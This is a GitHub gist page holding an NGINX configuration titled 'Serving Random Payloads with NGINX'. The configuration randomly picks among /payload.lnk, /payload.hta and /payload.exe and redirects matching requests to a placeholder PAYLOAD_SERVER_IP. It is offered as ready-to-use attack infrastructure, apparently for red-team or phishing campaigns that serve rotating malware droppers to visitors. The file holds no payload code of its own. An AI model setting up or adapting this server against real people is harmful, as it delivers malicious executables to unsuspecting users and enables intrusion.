Forked from jivoi/gist:a33ace2e25515a31aa2ffbae246d98c9
Created
July 2, 2021 22:39
-
-
Save maurorisonho/698cf820194cac273a32dfdf411f3e46 to your computer and use it in GitHub Desktop.
Revisions
-
jivoi created this gist
Jun 14, 2017 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,34 @@ # Serving Random Payloads with NGINX # add set_random module https://github.com/openresty/set-misc-nginx-module#set_random # edit file /etc/nginx/sites-enabled/default set_random $uri 1 3; map $uri $payloads { 1 /payload.lnk; 2 /payload.hta; 3 /payload.exe; } server { listen 80 default_server; listen [::]:80 default_server; server_name _; root /var/www; index index.html; location ^/payload/?$ { rewrite ^/payload/?$ /$payloads redirect; } location ^/payload\.(exe|lnk|hta) { rewrite ^/payload\.(exe|lnk|hta) http://PAYLOAD_SERVER_IP$request_uri redirect; } location / { try_files $uri $uri/ =404; } }